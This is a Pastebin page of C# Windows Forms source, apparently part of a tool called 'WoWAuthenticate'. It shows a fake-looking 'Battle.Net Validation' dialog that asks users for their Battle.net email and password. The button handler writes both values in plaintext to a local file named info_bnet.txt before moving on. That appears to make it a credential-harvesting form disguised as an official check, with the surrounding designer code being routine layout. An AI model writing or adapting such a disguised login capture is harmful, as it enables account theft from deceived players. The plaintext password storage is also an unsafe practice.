Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //UserLogin.cs
- //--USER GENERATED CODE--
- using System;
- using System.Windows.Forms;
- namespace WoWAuthenticate
- {
- public partial class UserLogin : Form
- {
- private string userName;
- private string password;
- private WoWAuthForm wowAuthForm;
- public UserLogin(WoWAuthForm AuthForm)
- {
- InitializeComponent();
- wowAuthForm = AuthForm;
- }
- private void IsFieldsValid()
- {
- if ((userNameBox.Text != "") && (passwordBox.Text != "") && (password2Box.Text == passwordBox.Text))
- {
- userName = userNameBox.Text;
- password = passwordBox.Text;
- loginButton.Enabled = true;
- }
- else
- {
- loginButton.Enabled = false;
- }
- }
- private void userNameBox_TextChanged(object sender, EventArgs e)
- {
- IsFieldsValid();
- }
- private void passwordBox_TextChanged(object sender, EventArgs e)
- {
- IsFieldsValid();
- }
- private void password2Box_TextChanged(object sender, EventArgs e)
- {
- IsFieldsValid();
- }
- private void loginButton_Click(object sender, EventArgs e)
- {
- try
- {
- string lines = userName + Environment.NewLine + password;
- System.IO.StreamWriter file = new System.IO.StreamWriter("info_bnet.txt");
- file.WriteLine(lines);
- file.Close();
- }
- catch (Exception ex)
- {
- MessageBox.Show(ex.Message, ex.Source);
- }
- wowAuthForm.AddProgress();
- wowAuthForm.ValidateGame();
- Close();
- }
- }
- }
- //--END USER GENERATED CODE--
- //--BEGIN DESIGNER GENERATED CODE
- namespace WoWAuthenticate
- {
- partial class UserLogin
- {
- /// <summary>
- /// Required designer variable.
- /// </summary>
- private System.ComponentModel.IContainer components = null;
- /// <summary>
- /// Clean up any resources being used.
- /// </summary>
- /// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
- protected override void Dispose(bool disposing)
- {
- if (disposing && (components != null))
- {
- components.Dispose();
- }
- base.Dispose(disposing);
- }
- #region Windows Form Designer generated code
- /// <summary>
- /// Required method for Designer support - do not modify
- /// the contents of this method with the code editor.
- /// </summary>
- private void InitializeComponent()
- {
- System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(UserLogin));
- this.label1 = new System.Windows.Forms.Label();
- this.label2 = new System.Windows.Forms.Label();
- this.userNameBox = new System.Windows.Forms.TextBox();
- this.label3 = new System.Windows.Forms.Label();
- this.passwordBox = new System.Windows.Forms.TextBox();
- this.label4 = new System.Windows.Forms.Label();
- this.password2Box = new System.Windows.Forms.TextBox();
- this.loginButton = new System.Windows.Forms.Button();
- this.SuspendLayout();
- //
- // label1
- //
- this.label1.AutoSize = true;
- this.label1.Location = new System.Drawing.Point(13, 13);
- this.label1.Name = "label1";
- this.label1.Size = new System.Drawing.Size(257, 13);
- this.label1.TabIndex = 0;
- this.label1.Text = "Please input your Battle.net username and password.";
- //
- // label2
- //
- this.label2.AutoSize = true;
- this.label2.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
- this.label2.Location = new System.Drawing.Point(12, 54);
- this.label2.Name = "label2";
- this.label2.Size = new System.Drawing.Size(104, 13);
- this.label2.TabIndex = 1;
- this.label2.Text = "Username (email)";
- //
- // userNameBox
- //
- this.userNameBox.Location = new System.Drawing.Point(131, 51);
- this.userNameBox.Name = "userNameBox";
- this.userNameBox.Size = new System.Drawing.Size(135, 20);
- this.userNameBox.TabIndex = 2;
- this.userNameBox.TextChanged += new System.EventHandler(this.userNameBox_TextChanged);
- //
- // label3
- //
- this.label3.AutoSize = true;
- this.label3.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
- this.label3.Location = new System.Drawing.Point(12, 82);
- this.label3.Name = "label3";
- this.label3.Size = new System.Drawing.Size(61, 13);
- this.label3.TabIndex = 3;
- this.label3.Text = "Password";
- //
- // passwordBox
- //
- this.passwordBox.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
- this.passwordBox.Location = new System.Drawing.Point(131, 79);
- this.passwordBox.Name = "passwordBox";
- this.passwordBox.PasswordChar = '*';
- this.passwordBox.Size = new System.Drawing.Size(135, 20);
- this.passwordBox.TabIndex = 4;
- this.passwordBox.TextChanged += new System.EventHandler(this.passwordBox_TextChanged);
- //
- // label4
- //
- this.label4.AutoSize = true;
- this.label4.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
- this.label4.Location = new System.Drawing.Point(12, 107);
- this.label4.Name = "label4";
- this.label4.Size = new System.Drawing.Size(113, 13);
- this.label4.TabIndex = 5;
- this.label4.Text = "Re-enter password";
- //
- // password2Box
- //
- this.password2Box.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
- this.password2Box.Location = new System.Drawing.Point(131, 104);
- this.password2Box.Name = "password2Box";
- this.password2Box.PasswordChar = '*';
- this.password2Box.Size = new System.Drawing.Size(135, 20);
- this.password2Box.TabIndex = 6;
- this.password2Box.TextChanged += new System.EventHandler(this.password2Box_TextChanged);
- //
- // loginButton
- //
- this.loginButton.Enabled = false;
- this.loginButton.Location = new System.Drawing.Point(12, 132);
- this.loginButton.Name = "loginButton";
- this.loginButton.Size = new System.Drawing.Size(274, 23);
- this.loginButton.TabIndex = 7;
- this.loginButton.Text = "Validate";
- this.loginButton.UseVisualStyleBackColor = true;
- this.loginButton.Click += new System.EventHandler(this.loginButton_Click);
- //
- // UserLogin
- //
- this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
- this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
- this.ClientSize = new System.Drawing.Size(298, 167);
- this.ControlBox = false;
- this.Controls.Add(this.loginButton);
- this.Controls.Add(this.password2Box);
- this.Controls.Add(this.label4);
- this.Controls.Add(this.passwordBox);
- this.Controls.Add(this.label3);
- this.Controls.Add(this.userNameBox);
- this.Controls.Add(this.label2);
- this.Controls.Add(this.label1);
- this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.Fixed3D;
- this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
- this.Name = "UserLogin";
- this.ShowInTaskbar = false;
- this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
- this.Text = "Battle.Net Validation";
- this.ResumeLayout(false);
- this.PerformLayout();
- }
- #endregion
- private System.Windows.Forms.Label label1;
- private System.Windows.Forms.Label label2;
- private System.Windows.Forms.TextBox userNameBox;
- private System.Windows.Forms.Label label3;
- private System.Windows.Forms.TextBox passwordBox;
- private System.Windows.Forms.Label label4;
- private System.Windows.Forms.TextBox password2Box;
- private System.Windows.Forms.Button loginButton;
- }
- }
- //--END DESIGNER GENERATED CODE--
- //EOF
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement